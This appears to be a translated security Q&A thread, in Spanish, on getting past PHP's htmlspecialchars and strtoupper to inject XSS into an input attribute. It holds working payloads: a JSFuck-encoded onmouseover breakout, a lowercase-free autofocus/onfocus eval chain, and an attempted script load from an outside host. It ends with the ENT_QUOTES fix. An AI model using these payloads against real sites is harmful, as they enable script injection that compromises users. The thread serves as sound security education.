XSS bypass strtoupper & htmlspecialchars

6

He investigado un poco la prueba, pero lo siguiente me está eludiendo, creo que lo tengo, ¡pero no puedo hacer que se dispare!

Intentando evitar lo siguiente:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

Hasta ahora lo he intentado:

test-xss.php?id=%27%20onload=%27javascript:alert('XSS')

Esto no funciona porque la función de alerta se cambia a mayúsculas, por lo que se produce un error en la consola. También he intentado codificar todos los parámetros de solicitud.

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

y esto no parece querer funcionar porque a pesar de que < > están codificados y todavía parecen salir como & lt y & gt;

¿Quizás el único ataque es el conjunto de caracteres UTF-7?

¿Alguna idea?

    
pregunta geekscrap 19.12.2016 - 06:25
fuente

1 respuesta

10

Su parámetro $ID se imprime dentro de un valor de atributo de etiqueta HTML. Desafortunadamente, se ejecuta a través de htmlspecialchars() que se supone que codifica caracteres significativos para HTML. Como la función no tiene el indicador ENT_QUOTES establecido, escapará a < , > , & , " , pero no a ' (comillas simples). Por suerte para usted, el valor está encerrado entre comillas simples, por lo que puede usar ' para romper el atributo.

A continuación, querrá cerrar la etiqueta y comenzar una nueva (por ejemplo, <script> ) pero htmlspecialchars() no le permite (ya que escapa > y < ). Entonces, en lugar de eso, debes usar un controlador de eventos que funcione para las etiquetas <input> . El controlador de eventos onload no se aplica a los cuadros de entrada, pero puede usar otros, por ejemplo, onmouseover . (El efecto secundario es que necesitará una interacción mínima con el usuario para activar el XSS, o tendrá que aprovechar los atributos adicionales como autofocus para que se active inmediatamente en la carga de la página.)

Así que tenemos esto:

<input type='text' value='' onmouseover='(javascript payload)'>
                          |-------------- $ID --------------|

Ahora, no puede usar JS simple como alert(1) como carga útil, ya que el valor también se ejecuta a través de strtoupper() que capitalizaría el nombre de la función a ALERT(1) , que no es válido. En su lugar, necesita encontrar un código JS que funcione solo con mayúsculas, o incluso mejor, sin letras. Para eso puedes usar una herramienta como JSFuck que traduce cualquier código JS en una representación equivalente sin ninguna letra.

Por ejemplo, alert(1) se convierte en:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Por lo tanto, esto sería un PoS de XSS en funcionamiento:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

Si el uso de JSFuck no es práctico para usted (por ejemplo, debido a las restricciones de longitud de la URL como comentó @chefarov), existen otras técnicas que funcionan sin letras en minúsculas. Por ejemplo, el valor del atributo se puede poner completamente como entidades HTML, de modo que el a de alert se escriba como &#X61; y así sucesivamente. (En su escenario específico, no puede usar esto porque htmlspecialchars() también escaparía a cualquier & ).

Sin embargo, aquí hay un PoC de una carga útil más corta que evita letras minúsculas:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'('%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529'))')()//

(Básicamente, estoy ensamblando Function(eval(decodeURI(...))) sin letras minúsculas y luego puedo alimentarlo con la carga útil real codificada en URL (por ejemplo, a = > %61 ) que nunca requiere letras en minúsculas.)

La solución

Debes codificar tanto las comillas dobles como las simples agregando el indicador ENT_QUOTES :

$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES));
    
respondido por el Arminius 19.12.2016 - 07:22
fuente

Lea otras preguntas en las etiquetas